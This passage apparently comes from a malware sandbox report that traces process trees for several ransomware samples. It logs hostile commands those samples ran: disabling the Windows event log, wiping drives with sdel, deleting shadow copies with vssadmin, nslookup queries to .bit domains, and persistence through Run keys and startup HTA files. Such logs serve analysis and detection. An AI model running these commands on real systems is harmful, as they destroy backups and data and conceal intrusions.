- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe
    HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3020
  - - C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe
      "C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe" C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:3632
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
    HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
    3⤵
    - Executes dropped EXE
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    PID:4012
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C sc config eventlog start=disabled
      4⤵
      PID:5344
    - - C:\Windows\system32\sc.exe
        
        sc config eventlog start=disabled
        5⤵
        Launches sc.exe
        
        PID:2092
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v Start / t REG_DWORD / d 4 / f
      4⤵
      PID:6696
    - - C:\Windows\system32\reg.exe
        
        REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v Start / t REG_DWORD / d 4 / f
        5⤵
        
        PID:10184
  - - C:\Windows\SYSTEM32\tasklist.exe
      "tasklist" /V /FO CSV
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:7100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Release.bat""
      4⤵
      PID:3468
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c C:\ProgramData\sdel.exe -c -z C:
        5⤵
        
        PID:9772
      - C:\ProgramData\sdel.exe
        
        C:\ProgramData\sdel.exe -c -z C:
        6⤵
        
        PID:6508
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c C:\ProgramData\sdel.exe -z D:
        5⤵
        
        PID:6008
      - C:\ProgramData\sdel.exe
        
        C:\ProgramData\sdel.exe -z D:
        6⤵
        
        PID:7352
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c C:\ProgramData\sdel.exe -z F:
        5⤵
        
        PID:7968
      - C:\ProgramData\sdel.exe
        
        C:\ProgramData\sdel.exe -z F:
        6⤵
        
        PID:12252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\0tvwcnzi.3wr.bat" "
      4⤵
      PID:10444
    - - C:\Windows\system32\PING.EXE
        
        PING 127.0.0.1 -n 1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9804
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe
    HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:3968
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:8168
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
    HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe
      --84ee7c8e
      4⤵
      Executes dropped EXE
      Drops desktop.ini file(s)
      System Location Discovery: System Language Discovery
      PID:1996
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
    HEUR-Trojan-Ransom.Win32.Encoder.gen-b5608ed0190cd8126f9f7e0005b0e3331ba431594a7ccf85f0b4c2593ed73c5c.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2132
  - - C:\Users\Admin\AppData\Local\Temp\y_installer.exe
      C:\Users\Admin\AppData\Local\Temp\y_installer.exe --partner 351634 --distr /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies system certificate store
      PID:8880
    - - C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7F4987FB1A6E43d69E3E94B29EB75926\YandexPackSetup.exe" /quiet /msicl "YABROWSER=y YAHOMEPAGE=y YAQSEARCH=y YABM=y VID=666"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7860
    - - C:\Users\Admin\AppData\Local\Temp\y_installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\y_installer.exe --stat dwnldr/p=351634/cnt=0/dt=8/ct=8/rt=0 --dh 2356 --st 1730843648
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:8584
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
    HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
      HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe
      4⤵
      Executes dropped EXE
      PID:2476
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
    HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:1504
  - - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
      HEUR-Trojan-Ransom.Win32.JSWorm.gen-cedf567ebc23b6090de2703911003e3bdbf2c13cc61b700240536715935e835c.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5884
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
    HEUR-Trojan-Ransom.Win32.PolyRansom.gen-8298be3054f9f33b629b53757659873ad12b81b3f7038e0cd39fa0131f1553a3.exe
    3⤵
    - Modifies WinLogon for persistence
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Drops autorun.inf file
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    PID:336
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
    HEUR-Trojan-Ransom.Win32.Shade.vho-115591f33f7d53985f4d8f7a519906336c386eda4fae0486904e79e925550b66.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Enumerates system info in registry
    PID:632
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
    Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:872
  - - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
      C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Drops desktop.ini file(s)
      Drops autorun.inf file
      Drops file in System32 directory
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: RenamesItself
      PID:1532
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe"
        5⤵
        
        PID:2172
      - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        6⤵
        
        PID:7320
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:8524
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe"
        5⤵
        
        PID:8860
      - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        6⤵
        
        PID:9424
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:10148
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
        5⤵
        
        PID:8588
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
        5⤵
        
        PID:6936
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
    Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2344
  - - C:\Users\Admin\AppData\Roaming\openvpnserv.exe
      "C:\Users\Admin\AppData\Roaming\openvpnserv.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1556
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
    Trojan-Ransom.Win32.GandCrypt.jes-f4f1362dd693cfe868bda49cab9be4c80a5c625df9a7f4a8e64368d925d77d46.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:4744
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup nomoreransom.bit dns1.soprodns.ru
      4⤵
      System Location Discovery: System Language Discovery
      PID:3020
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup emsisoft.bit dns1.soprodns.ru
      4⤵
      System Location Discovery: System Language Discovery
      PID:8972
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup gandcrab.bit dns1.soprodns.ru
      4⤵
      System Location Discovery: System Language Discovery
      PID:9656
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup nomoreransom.bit dns1.soprodns.ru
      4⤵
      System Location Discovery: System Language Discovery
      PID:8560
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup emsisoft.bit dns1.soprodns.ru
      4⤵
      System Location Discovery: System Language Discovery
      PID:1908
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup gandcrab.bit dns1.soprodns.ru
      4⤵
      PID:12628
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup nomoreransom.bit dns1.soprodns.ru
      4⤵
      PID:12916
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup emsisoft.bit dns1.soprodns.ru
      4⤵
      PID:12952
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup gandcrab.bit dns1.soprodns.ru
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup nomoreransom.bit dns1.soprodns.ru
      4⤵
      PID:5068
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup emsisoft.bit dns1.soprodns.ru
      4⤵
      PID:7616
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup gandcrab.bit dns1.soprodns.ru
      4⤵
      PID:9912
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup nomoreransom.bit dns1.soprodns.ru
      4⤵
      PID:11600
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup emsisoft.bit dns1.soprodns.ru
      4⤵
      PID:7144
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
    Trojan-Ransom.Win32.Rack.iqi-d42b70f5dafd78c0ba9ca1ede4e5d8add0a5046640cb165bf907f5bd66f246ed.exe
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    PID:2644
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:1676
    - - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        5⤵
        
        PID:512
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:1952
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 544
      4⤵
      Program crash
      PID:2060
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 552
      4⤵
      Program crash
      PID:2688
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 588
      4⤵
      Program crash
      PID:1232
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 596
      4⤵
      Program crash
      PID:5332
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 480
      4⤵
      Program crash
      PID:4496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 660
      4⤵
      Program crash
      PID:6248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 592
      4⤵
      Program crash
      PID:7220
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 704
      4⤵
      Program crash
      PID:12160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 712
      4⤵
      Program crash
      PID:6980
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 752
      4⤵
      Program crash
      PID:6676
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 772
      4⤵
      Program crash
      PID:6464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 796
      4⤵
      Program crash
      PID:5224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 812
      4⤵
      Program crash
      PID:5548
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 828
      4⤵
      Program crash
      PID:8368
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 772
      4⤵
      Program crash
      PID:5312
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 808
      4⤵
      Program crash
      PID:5328
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 812
      4⤵
      Program crash
      PID:6612
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 796
      4⤵
      Program crash
      PID:9376
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 832
      4⤵
      Program crash
      PID:11048
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 820
      4⤵
      Program crash
      PID:3980
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 708
      4⤵
      Program crash
      PID:5520
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 772
      4⤵
      Program crash
      PID:8656
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 856
      4⤵
      Program crash
      PID:11964
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 752
      4⤵
      Program crash
      PID:11276
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 820
      4⤵
      Program crash
      PID:13180
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 852
      4⤵
      Program crash
      PID:7072
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 752
      4⤵
      Program crash
      PID:7296
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 912
      4⤵
      Program crash
      PID:8932
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 844
      4⤵
      Program crash
      PID:5724
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 948
      4⤵
      Program crash
      PID:9768
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 980
      4⤵
      Program crash
      PID:11352
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 968
      4⤵
      Program crash
      PID:12624
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 904
      4⤵
      Program crash
      PID:12036
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 948
      4⤵
      Program crash
      PID:4608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 924
      4⤵
      Program crash
      PID:10648
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 972
      4⤵
      Program crash
      PID:11464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 904
      4⤵
      Program crash
      PID:5928
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 948
      4⤵
      Program crash
      PID:10552
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 924
      4⤵
      Program crash
      PID:10452
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 972
      4⤵
      Program crash
      PID:6676
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1000
      4⤵
      Program crash
      PID:11360
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 988
      4⤵
      Program crash
      PID:9144
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 996
      4⤵
      Program crash
      PID:5224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 944
      4⤵
      Program crash
      PID:9496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 916
      4⤵
      Program crash
      PID:9800
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 960
      4⤵
      Program crash
      PID:7628
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1012
      4⤵
      Program crash
      PID:12824
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 680
      4⤵
      Program crash
      PID:9428
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 664
      4⤵
      Program crash
      PID:6928
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 924
      4⤵
      Program crash
      PID:5632
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 984
      4⤵
      Program crash
      PID:3912
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 680
      4⤵
      Program crash
      PID:7116
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 900
      4⤵
      Program crash
      PID:5412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1012
      4⤵
      Program crash
      PID:2804
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 664
      4⤵
      Program crash
      PID:12332
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 872
      4⤵
      Program crash
      PID:8988
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 928
      4⤵
      Program crash
      PID:9612
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 884
      4⤵
      Program crash
      PID:12656
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 848
      4⤵
      Program crash
      PID:5556
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 944
      4⤵
      Program crash
      PID:12800
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1068
      4⤵
      Program crash
      PID:5268
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1052
      4⤵
      Program crash
      PID:12992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 960
      4⤵
      Program crash
      PID:7236
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 832
      4⤵
      PID:11252
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 956
      4⤵
      PID:8320
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 940
      4⤵
      PID:8956
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 808
      4⤵
      PID:10736
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 812
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 708
      4⤵
      PID:8724
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 856
      4⤵
      PID:3208
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1052
      4⤵
      PID:10680
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 904
      4⤵
      PID:9996
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 960
      4⤵
      PID:4976
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 956
      4⤵
      PID:5172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 680
      4⤵
      PID:7156
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 808
      4⤵
      PID:6072
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 996
      4⤵
      PID:12900
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 888
      4⤵
      PID:12476
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1052
      4⤵
      PID:3180
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:9116
    - - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        5⤵
        
        PID:9652
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4260
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 932
      4⤵
      PID:7776
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1224
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1364
      4⤵
      PID:8064
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1372
      4⤵
      PID:7060
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
      4⤵
      PID:5660
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1176
      4⤵
      PID:6412
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1248
      4⤵
      PID:5244
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
      4⤵
      PID:6396
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1568
      4⤵
      PID:7008
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1604
      4⤵
      PID:8572
- - C:\Users\Admin\Desktop\00374\Trojan-Ransom.Win32.Shade.pbq-0813dd814b07bb9acf1114bd8a5f4b4b624c667464bac48d91ebd9f9c8e640c7.exe
